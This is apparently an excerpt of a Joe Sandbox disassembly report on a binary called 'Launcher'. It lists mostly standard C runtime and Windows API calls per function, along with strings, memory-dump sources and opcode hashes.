__freea.LIBCMT ref: 0051515C

Part of subcall function 00513E93: RtlAllocateHeap.NTDLL(00000000,0050554A,?,yRP,0050996A,?,?,?,?,yRP,0050278B,0050554A,?,?,?,?), ref: 00513EC5

__freea.LIBCMT ref: 00515171
__freea.LIBCMT ref: 00515181

Strings

e<k, xrefs: 00514FB4

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: e<k
API String ID: 1423051803-356446228
Opcode ID: 002b3f3fd0d0fcd13dc84cd37c5cc762b5c876ee3a7d335e97dcd89d32ec265e
Instruction ID: e86a5d5679a78ca14c900e63b83163deed0bd0fc67dadf89c5f7440c96432fa3
Opcode Fuzzy Hash: 002b3f3fd0d0fcd13dc84cd37c5cc762b5c876ee3a7d335e97dcd89d32ec265e
Instruction Fuzzy Hash: F8516F72600606BFFB225EA48C85EFB7FA9FB84350B150529BD4896150FA71CD90C6A0

Function 00515576 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(E96B3C65,00000000,00000000,00000000), ref: 005155D9

Part of subcall function 00518035: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00515152,?,00000000,-00000008), ref: 005180E1

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00515834
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0051587C
GetLastError.KERNEL32 ref: 0051591F

Strings

e<k, xrefs: 0051558C

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID: e<k
API String ID: 2112829910-356446228
Opcode ID: bb9561769d10729b3c5e930932a2bf4a2c826e9b6f8d7f83ba33123cf2b65d80
Instruction ID: 03fb6d5d5b6d591cfd3ce828cdc1e1ab54bb6eed4a1468de08e4f0fb1a13cf02
Opcode Fuzzy Hash: bb9561769d10729b3c5e930932a2bf4a2c826e9b6f8d7f83ba33123cf2b65d80
Instruction Fuzzy Hash: 2AD15675D00649EFDB11CFA8D884AEDBBB5FF89310F28452AE856A7251E730A981CF50

Function 00506CE1 Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00506CE8
std::_Lockit::_Lockit.LIBCPMT ref: 00506CF2
int.LIBCPMT ref: 00506D09

Part of subcall function 00502D8F: std::_Lockit::_Lockit.LIBCPMT ref: 00502DA0
Part of subcall function 00502D8F: std::_Lockit::~_Lockit.LIBCPMT ref: 00502DBA

codecvt.LIBCPMT ref: 00506D2C
std::_Facet_Register.LIBCPMT ref: 00506D43
std::_Lockit::~_Lockit.LIBCPMT ref: 00506D63

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: e1142e0213cef2264df70c4e34355848451da72b6573a3bcf796dabded24a642
Instruction ID: a26c14b9825124f43893eaf8ae1e287a002293885b2bcfd97b6a7fbdd9c397b1
Opcode Fuzzy Hash: e1142e0213cef2264df70c4e34355848451da72b6573a3bcf796dabded24a642
Instruction Fuzzy Hash: 89119D76A006269FCB15EF64D8096AEBFF9FF94320F600519F405A76D1EB70AE018B81

Function 0050B9D4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0050B9CB,00509F90,00505EE2,E96B3C65,?,?,?,?,0051F5A3,000000FF), ref: 0050B9E2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0050B9F0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0050BA09
SetLastError.KERNEL32(00000000,?,0050B9CB,00509F90,00505EE2,E96B3C65,?,?,?,?,0051F5A3,000000FF), ref: 0050BA5B

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 37590b42d33d4acf4e8a9c239cfff9250d11d5fb06924edff6a63b35289f88a3
Instruction ID: c79eca35f382867f5e3fe2d0b5ad2b3cb6535a296fdd3f349b74dac9cd4c7369
Opcode Fuzzy Hash: 37590b42d33d4acf4e8a9c239cfff9250d11d5fb06924edff6a63b35289f88a3
Instruction Fuzzy Hash: D501B1323096129EFA2427B4BCCAE2E3FD4FB62771B20072AF528550E2FF618D45B550

Function 00505FA3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0050602B
RaiseException.KERNEL32(?,?,?,005051E7,?,?,?,?,?,?,?,?,?,?,005051E7,00000001), ref: 00506050

Part of subcall function 005099C2: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,yRP,00505558,?,00529208,?), ref: 00509A22

Part of subcall function 0050D05B: IsProcessorFeaturePresent.KERNEL32(00000017,0050CDE2,?,0050CD51,0050554A,00000016,0050CF60,?,?,?,?,?,00000000,?,?,JUP), ref: 0050D077

Strings

QP, xrefs: 00506045, 00506048
csm, xrefs: 00505FDF
e<k, xrefs: 00505FA9

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm$e<k$QP
API String ID: 1924019822-3885598537
Opcode ID: 4976209afb6d3a8d9a7d05146a6ef0f7d39732c3c8b6a7e02f59f8f2b9d821bc
Instruction ID: f00758bbeda295296c635d19c1b80a8b093c67c821af2841e75a9f676df141bb
Opcode Fuzzy Hash: 4976209afb6d3a8d9a7d05146a6ef0f7d39732c3c8b6a7e02f59f8f2b9d821bc
Instruction Fuzzy Hash: 9921CF31D00218DBCF34DF95D859AAEBBB9FF44714F540409E80AAB290DB30AD55CB90

Function 005065DF Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 005065E6
std::_Lockit::_Lockit.LIBCPMT ref: 005065F1
std::_Lockit::~_Lockit.LIBCPMT ref: 0050665F

Part of subcall function 00506742: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0050675A

std::locale::_Setgloballocale.LIBCPMT ref: 0050660C
_Yarn.LIBCPMT ref: 00506622

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 9451248151d28fa943c85010476381c70b0ec60de910a72b764f10147697c8e2
Instruction ID: 483fe75da506eda6e66b78262369454498c823d6355799ce73930d641a786d6b
Opcode Fuzzy Hash: 9451248151d28fa943c85010476381c70b0ec60de910a72b764f10147697c8e2
Instruction Fuzzy Hash: A401DF75A005229BCB06EF20E84997D3FA1FFD4700B640008F815573D2DF346E56EB84

Function 00514EA4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00514F16
GetStringTypeW.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,E8458D00), ref: 00514F74
__freea.LIBCMT ref: 00514F83

Part of subcall function 00513E93: RtlAllocateHeap.NTDLL(00000000,0050554A,?,yRP,0050996A,?,?,?,?,yRP,0050278B,0050554A,?,?,?,?), ref: 00513EC5

Strings

e<k, xrefs: 00514EAC

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: AllocateHeapStringType__alloca_probe_16__freea
String ID: e<k
API String ID: 2035984020-356446228
Opcode ID: 950850d4f4990a0bb8c9f9f81e88a517de8b7c45efb4d5ced0a54b9d6ac9d9a9
Instruction ID: 4e9741d085741c2aea9de5596ea9d59c60dc3fe52bdc45ab510aab25783153e8
Opcode Fuzzy Hash: 950850d4f4990a0bb8c9f9f81e88a517de8b7c45efb4d5ced0a54b9d6ac9d9a9
Instruction Fuzzy Hash: DF317E71A0021AABEB219FA5DC49EEF7FA9FF44710F050528F9049B351D634CD92CBA0

Function 00508791 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00509048
___raise_securityfailure.LIBCMT ref: 00509130

Strings

8iW, xrefs: 0050912B
e<k, xrefs: 00509111

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8iW$e<k
API String ID: 3761405300-2827168674
Opcode ID: f593b2e0786da2a7dfadf3f3ec6be79ca9dde35fb0152c88497a52587825c57d
Instruction ID: b67307dc649f06380f39b3665887390df623b475d366139b660e3933b2d6554d
Opcode Fuzzy Hash: f593b2e0786da2a7dfadf3f3ec6be79ca9dde35fb0152c88497a52587825c57d
Instruction Fuzzy Hash: 482114B4511A00CFD714CF19FD95A447BA4FB68310F10802AE60DABBA0E3B088C8BF45

Function 00518965 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 0051898A
GetLastError.KERNEL32 ref: 00518994
__dosmaperr.LIBCMT ref: 0051899B

Strings

e<k, xrefs: 00518970

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ErrorFileLastModuleName__dosmaperr
String ID: e<k
API String ID: 4076908705-356446228
Opcode ID: ba90e752716fa3a25c26f5e759ecad897070d470504c10bd6e504692970bddb2
Instruction ID: 56367893908aac2b75c00bf23c0397e233b99d60a4b9d90aaa33aad491fd4c3e
Opcode Fuzzy Hash: ba90e752716fa3a25c26f5e759ecad897070d470504c10bd6e504692970bddb2
Instruction Fuzzy Hash: 7A115E7190021DABDB20DFA8DC4DBEE7BB8BF58304F1044D9E51DE7181DA749A848F54

Function 00507F69 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

__Xtime_get_ticks.LIBCPMT ref: 00507F6F
__aulldiv.LIBCMT ref: 00507F81
__aullrem.LIBCMT ref: 00507F97

Strings

yRP, xrefs: 00507F69

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: Xtime_get_ticks__aulldiv__aullrem
String ID: yRP
API String ID: 1146541244-1200088303
Opcode ID: 19b784aec455bb89b5389e9afc308cf671bc94911b4847fb15ed8953d9ebb3d8
Instruction ID: 34989a1a28b599d62fdcf578a3cd28e9deb0002732214ed25c1e8e68ed358152
Opcode Fuzzy Hash: 19b784aec455bb89b5389e9afc308cf671bc94911b4847fb15ed8953d9ebb3d8
Instruction Fuzzy Hash: 27E048B12447057AD7107E669C46F7BBEDCEBC5B64F144429F189AB281D570A44183A4

Function 0050CAD7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,0050CA88,?,?,00000000,?,?,?,0050CBB2,00000002,FlsGetValue,00522068,FlsGetValue), ref: 0050CAE4
GetLastError.KERNEL32(?,0050CA88,?,?,00000000,?,?,?,0050CBB2,00000002,FlsGetValue,00522068,FlsGetValue,?,?,0050B9F5), ref: 0050CAEE
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 0050CB16

Strings

api-ms-, xrefs: 0050CAFB

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 4a3926288c1b5213870eb01509647b47e05c24ce741b9b9e02434b1795d2d47f
Instruction ID: 9cf6fa5f2d4adb5d150a100de4618fc496c779f7a93055477fb2dd5471f8e8b0
Opcode Fuzzy Hash: 4a3926288c1b5213870eb01509647b47e05c24ce741b9b9e02434b1795d2d47f
Instruction Fuzzy Hash: 0DE09A30681249BAEB201B61EC0EF593E59FF12B94F944020FD0DA80E2D7A1D956A664

Function 005086DC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(00576924,00576418,yRP,00503D0D,00576418,0051F9F6,00000000,00501E3E), ref: 005086E6
ReleaseSRWLockExclusive.KERNEL32(00576924), ref: 00508719
WakeAllConditionVariable.KERNEL32(00576920), ref: 00508724

Strings

yRP, xrefs: 005086DC

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionReleaseVariableWake
String ID: yRP
API String ID: 1466638765-1200088303
Opcode ID: 4890a08b67f4ce7d019eda2eb3950af4465c8f0907ed602b3273dc46ef2f6666
Instruction ID: 0bdd22fde8536de1c0859037b23576f3d357bc9cd6db2c2600c65fff1ad94aca
Opcode Fuzzy Hash: 4890a08b67f4ce7d019eda2eb3950af4465c8f0907ed602b3273dc46ef2f6666
Instruction Fuzzy Hash: 16F01534902600DFC709DF98F848EA47BB8EB1E351B00806AEA0D833A1CB30AC49EF54

Function 0050BAEB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0050BBB2
___AdjustPointer.LIBCMT ref: 0050BBD5
___AdjustPointer.LIBCMT ref: 0050BC71

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: c359ff3f90e7d5ec9710b481f601abe53b9189e2531c9ec07c913a0748f44f2f
Instruction ID: 1febd66643df5eead7bc0202df1c110ecfda864b50ecd7f1fe23e466fb5dbc3f
Opcode Fuzzy Hash: c359ff3f90e7d5ec9710b481f601abe53b9189e2531c9ec07c913a0748f44f2f
Instruction Fuzzy Hash: FB51C172600607AFFB298F14D885BBE7BA4FF84300F184829E945572D5EB35AD81DB90

Function 005182F5 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00518035: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00515152,?,00000000,-00000008), ref: 005180E1

GetLastError.KERNEL32 ref: 00518359
__dosmaperr.LIBCMT ref: 00518360
GetLastError.KERNEL32(?,?,?,?), ref: 0051839A
__dosmaperr.LIBCMT ref: 005183A1

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 4893891d7018d623546f98b5ca0d02ee48e55f95e661ec52dd9ba485fa46daa8
Instruction ID: a10e56c0a1838a3788313214c1f51da3edbdf11d4a281bb2130ea000c7ba9e8e
Opcode Fuzzy Hash: 4893891d7018d623546f98b5ca0d02ee48e55f95e661ec52dd9ba485fa46daa8
Instruction Fuzzy Hash: B3217771600206AFEB30AF65CC85DBEBF59FF547547184928F93597551DB30EC809B50

Function 0050FE04 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62588ad01414c8e8d61bf4de5d8753af40984e22a690c4b91df588c8c28401bd
Instruction ID: 23cdd5d5c1e6f14e5c6c403ed673f6ade7f3606d5c88350c010c55a8211eb612
Opcode Fuzzy Hash: 62588ad01414c8e8d61bf4de5d8753af40984e22a690c4b91df588c8c28401bd
Instruction Fuzzy Hash: 0221503120020AAFDB70AF65D849D6F7F6DBF953687104535F915979E2D730EC418BA0

Function 0051928B Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00519293

Part of subcall function 00518035: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00515152,?,00000000,-00000008), ref: 005180E1

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 005192CB
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 005192EB

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 1f8c3e8fee75b0033f8ff06658f47c28e963b579a3785d69544c16ef43fbebb1
Instruction ID: d3289b120344b7cacb018efc86869b9583d76fb15f29da2b6af7da0eb16ea033
Opcode Fuzzy Hash: 1f8c3e8fee75b0033f8ff06658f47c28e963b579a3785d69544c16ef43fbebb1
Instruction Fuzzy Hash: 2611A1B19016167E772127B19C9DCFF6E5CFE9A7E8B100824F81291182EB649E8591B1

Function 0051D88E Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,0051C7C8,00000000,00000001,00000000,00000000,?,00515973,00000000,00000000,00000000), ref: 0051D8A5
GetLastError.KERNEL32(?,0051C7C8,00000000,00000001,00000000,00000000,?,00515973,00000000,00000000,00000000,00000000,00000000,?,00515EFA,?), ref: 0051D8B1

Part of subcall function 0051D877: CloseHandle.KERNEL32(FFFFFFFE,0051D8C1,?,0051C7C8,00000000,00000001,00000000,00000000,?,00515973,00000000,00000000,00000000,00000000,00000000), ref: 0051D887

___initconout.LIBCMT ref: 0051D8C1

Part of subcall function 0051D839: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0051D868,0051C7B5,00000000,?,00515973,00000000,00000000,00000000,00000000), ref: 0051D84C

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,0051C7C8,00000000,00000001,00000000,00000000,?,00515973,00000000,00000000,00000000,00000000), ref: 0051D8D6

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: be4a9c3f6d1940d62e6b5473149ccf0926049baf847d1b1cef4c5fd23817f479
Instruction ID: 52bd2f83a1ac53edc5915b3e795f98d11d0d9801f1ee595211028c2b476712f8
Opcode Fuzzy Hash: be4a9c3f6d1940d62e6b5473149ccf0926049baf847d1b1cef4c5fd23817f479
Instruction Fuzzy Hash: 93F01236001519BBDF222FA1DC08EC93F76FF557A0F404010FA0D95171D6318860EBA0

Function 0050E3C0 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 357COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 0050E4C8

Strings

8$R, xrefs: 0050E7F3
e<k, xrefs: 0050E3C8

Memory Dump Source

Source File: 00000000.00000002.1679207005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1679191352.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679222989.0000000000520000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679235427.000000000052B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1679259833.0000000000579000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Launcher.jbxd

Similarity

API ID: Info
String ID: 8$R$e<k
API String ID: 1807457897-3485385110
Opcode ID: f5b711f69a6560197b826b65b22e64b6e794195904ffd4a64263824b842f9080
Instruction ID: b84fa0f56578e9d59806875d27949e00f25cd940a5383dcdbd1bbe1c0892342e
Opcode Fuzzy Hash: f5b711f69a6560197b826b65b22e64b6e794195904ffd4a64263824b842f9080
Instruction Fuzzy Hash: BDD1AE71900206AFEB11DF64C896BEEBFF5FF49300F644829E895A7282E775AD45CB10

Function 00518FE4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

